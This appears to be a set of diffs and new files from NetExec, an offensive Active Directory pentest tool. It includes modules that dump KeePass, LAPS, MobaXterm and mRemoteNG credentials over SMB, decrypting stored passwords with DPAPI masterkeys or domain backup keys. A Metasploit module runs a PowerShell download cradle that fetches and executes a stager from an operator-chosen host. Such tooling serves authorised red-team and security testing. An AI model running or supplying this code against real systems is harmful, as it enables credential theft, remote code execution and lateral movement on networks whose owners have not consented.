from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
context.log.debug(f"Retrieving network interface of {connection.host}")
|
||||
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"DCERPCException error: {e}")
|
||||
@@ -1,7 +1,5 @@
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
from xmltodict import parse
|
||||
from time import sleep
|
||||
from csv import reader
|
||||
from base64 import b64encode
|
||||
@@ -381,28 +379,30 @@ class NXCModule:
|
||||
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
|
||||
xml_tree = ElementTree.parse(xml_doc_path)
|
||||
root = xml_tree.getroot()
|
||||
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
|
||||
xml_to_dict = parse(to_string)
|
||||
dump = json.dumps(xml_to_dict)
|
||||
obj = json.loads(dump)
|
||||
|
||||
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
|
||||
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
|
||||
for password in obj2["String"]:
|
||||
if password["Key"] == "Password":
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
|
||||
else:
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
|
||||
context.log.highlight("")
|
||||
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
|
||||
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
|
||||
try:
|
||||
for obj3 in obj2["Entry"]:
|
||||
for password in obj3["String"]:
|
||||
if password["Key"] == "Password":
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
|
||||
else:
|
||||
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
|
||||
context.log.highlight("")
|
||||
except KeyError:
|
||||
pass
|
||||
root_entries = root.find("./Root/Entry")
|
||||
if root_entries is not None:
|
||||
for entry in root_entries:
|
||||
if entry is not None:
|
||||
self.print_password(context, entry)
|
||||
else:
|
||||
context.log.highlight("None")
|
||||
|
||||
objects = root.findall("./Root/Group")
|
||||
while objects:
|
||||
current_object = objects.pop(0)
|
||||
for entry in current_object.findall("./Entry"):
|
||||
self.print_password(context, entry)
|
||||
for history in entry.findall("./History"):
|
||||
for history_entry in history.findall("./Entry"):
|
||||
self.print_password(context, history_entry)
|
||||
objects.extend(current_object.findall("./Group"))
|
||||
|
||||
def print_password(self, context, entries):
|
||||
for entry in entries.findall("./String"):
|
||||
key = entry.find("./Key")
|
||||
value = entry.find("./Value")
|
||||
key_text = key.text if key is not None else "None"
|
||||
value_text = value.text if value is not None and value.text is not None else "None"
|
||||
context.log.highlight(f"{key_text} : {value_text}")
|
||||
context.log.highlight("-------------------------------------")
|
||||
+3
-3
@@ -45,12 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
+47
-22
@@ -39,10 +39,15 @@ class NXCModule:
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
@@ -87,14 +92,15 @@ class NXCModule:
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_sock = ssl.wrap_socket(
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
s,
|
||||
cert_reqs=ssl.CERT_OPTIONAL,
|
||||
suppress_ragged_eofs=False,
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
ssl_sock.do_handshake()
|
||||
ssl_sock.close()
|
||||
return True
|
||||
@@ -114,19 +120,30 @@ class NXCModule:
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is None:
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return None
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
sys.exit()
|
||||
elif err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return None
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
@@ -139,7 +156,16 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
|
||||
kerberos_target = UniTarget(
|
||||
connection.host,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
hostname=connection.remoteName,
|
||||
dc_ip=connection.kdcHost,
|
||||
domain=connection.domain,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
@@ -148,9 +174,8 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
@@ -160,9 +185,9 @@ class NXCModule:
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
|
||||
@@ -64,7 +64,7 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(file).parse()
|
||||
parsed = Parser(host, file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
@@ -1,3 +1,5 @@
|
||||
from pyasn1.error import PyAsn1Error
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -14,16 +16,17 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
name = "MAQ"
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
searchFilter = "(objectClass=*)"
|
||||
attributes = ["ms-DS-MachineAccountQuota"]
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
|
||||
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
|
||||
try:
|
||||
maq = result[0]["attributes"][0]["vals"][0]
|
||||
context.log.highlight(f"MachineAccountQuota: {maq}")
|
||||
except PyAsn1Error:
|
||||
context.log.highlight("MachineAccountQuota: <not set>")
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.ca:
|
||||
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
return False
|
||||
|
||||
host = connection.host
|
||||
|
||||
+22
-22
@@ -27,6 +27,8 @@ class NXCModule:
|
||||
SRVPORT Stager port
|
||||
RAND Random string given by metasploit (if using web_delivery)
|
||||
SSL Stager server use https or http (default: https)
|
||||
|
||||
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
|
||||
|
||||
multi/handler method that don't require RAND:
|
||||
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
|
||||
@@ -35,8 +37,11 @@ class NXCModule:
|
||||
windows/x64/powershell_reverse_tcp_ssl
|
||||
Web Delivery Method (exploit/multi/script/web_delivery):
|
||||
Set SRVHOST and SRVPORT
|
||||
Set target 2 (PSH)
|
||||
Set payload to what you want (windows/meterpreter/reverse_https, etc)
|
||||
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
|
||||
check compatabile payloads with `show payloads`
|
||||
Optional: SET URIPATH {custom}
|
||||
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
|
||||
"""
|
||||
self.met_ssl = "https"
|
||||
|
||||
@@ -53,24 +58,19 @@ class NXCModule:
|
||||
self.srvport = module_options["SRVPORT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
||||
command = """$url="{}://{}:{}/{}"
|
||||
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
|
||||
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
|
||||
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessInfo.FileName=$PowershellExe
|
||||
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
|
||||
$ProcessInfo.UseShellExecute = $False
|
||||
$ProcessInfo.RedirectStandardOutput = $True
|
||||
$ProcessInfo.CreateNoWindow = $True
|
||||
$ProcessInfo.WindowStyle = "Hidden"
|
||||
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
|
||||
"http" if self.met_ssl == "http" else "https",
|
||||
self.srvhost,
|
||||
self.srvport,
|
||||
self.rand,
|
||||
)
|
||||
context.log.debug(command)
|
||||
connection.ps_execute(command, force_ps32=True)
|
||||
context.log.success("Executed payload")
|
||||
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
|
||||
proto = "http" if self.met_ssl == "http" else "https"
|
||||
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
|
||||
context.log.debug(f"{metasploit_endpoint=}")
|
||||
|
||||
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
|
||||
context.log.debug(f"Running command via ps_execute: {command}")
|
||||
|
||||
output = connection.ps_execute(command)
|
||||
context.log.debug(f"Received output from ps_execute: {output}")
|
||||
|
||||
if output and "Unable to connect to the remote server" in output:
|
||||
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
|
||||
else:
|
||||
context.log.success("Executed payload")
|
||||
@@ -0,0 +1,128 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
self.conn = None
|
||||
self.target = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self.target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
self.conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
_, credentials = triage.triage_mobaxterm()
|
||||
for credential in credentials:
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -0,0 +1,212 @@
|
||||
import ntpath
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass
|
||||
class MRemoteNgEncryptionAttributes:
|
||||
kdf_iterations: int
|
||||
block_cipher_mode: str
|
||||
encryption_engine: str
|
||||
full_file_encryption: bool
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Dump mRemoteNG Passwords
|
||||
module by @_zblurx
|
||||
"""
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
".",
|
||||
"..",
|
||||
"desktop.ini",
|
||||
"Public",
|
||||
"Default",
|
||||
"Default User",
|
||||
"All Users",
|
||||
)
|
||||
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
"Users\\{username}\\Desktop",
|
||||
"Users\\{username}\\Documents",
|
||||
]
|
||||
|
||||
self.recurse_max = 10
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SHARE Share parsed. Default to C$
|
||||
PASSWORD Custom password to decrypt confCons.xml files
|
||||
CUSTOM_PATH Custom path to confCons.xml file
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
self.password = "mR3m"
|
||||
if "PASSWORD" in module_options:
|
||||
self.password = module_options["PASSWORD"]
|
||||
|
||||
self.custom_path = None
|
||||
if "CUSTOM_PATH" in module_options:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
kdf_iterations=int(main.attrib["KdfIterations"]),
|
||||
block_cipher_mode=main.attrib["BlockCipherMode"],
|
||||
encryption_engine=main.attrib["EncryptionEngine"],
|
||||
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
|
||||
)
|
||||
|
||||
for node_attribute in self.parse_xml_nodes(main):
|
||||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
|
||||
if password == b"":
|
||||
continue
|
||||
name = node_attribute["Name"]
|
||||
hostname = node_attribute["Hostname"]
|
||||
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
|
||||
username = node_attribute["Username"]
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
for node in list(main.getchildren()):
|
||||
node_attributes = node.attrib
|
||||
if node_attributes["Type"] == "Connection":
|
||||
nodes.append(node.attrib)
|
||||
elif node_attributes["Type"] == "Container":
|
||||
nodes.append(node.attrib)
|
||||
nodes = nodes + self.parse_xml_nodes(node)
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
new_path = ntpath.join(directory_path, item.get_longname())
|
||||
if item.is_directory() > 0:
|
||||
if recurse_level < recurse_max:
|
||||
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
|
||||
else:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
if encrypted_password == b"":
|
||||
return encrypted_password
|
||||
|
||||
if encryption_attributes.encryption_engine == "AES":
|
||||
salt = encrypted_password[:16]
|
||||
associated_data = encrypted_password[:16]
|
||||
nonce = encrypted_password[16:32]
|
||||
ciphertext = encrypted_password[32:-16]
|
||||
tag = encrypted_password[-16:]
|
||||
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
|
||||
if encryption_attributes.block_cipher_mode == "GCM":
|
||||
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
|
||||
elif encryption_attributes.block_cipher_mode == "CCM":
|
||||
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
|
||||
elif encryption_attributes.block_cipher_mode == "EAX":
|
||||
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
|
||||
cipher.update(associated_data)
|
||||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
@@ -248,7 +248,7 @@ class NXCModule:
|
||||
]
|
||||
|
||||
# Create the IPC string
|
||||
ipc = f"\\\\{ip}\IPC$\x00"
|
||||
ipc = f"\\\\{ip}\\IPC$\x00"
|
||||
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
|
||||
|
||||
# Initialize the tree connect andx request
|
||||
|
||||
+3
-3
@@ -3,7 +3,7 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
import sys
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -49,14 +49,14 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
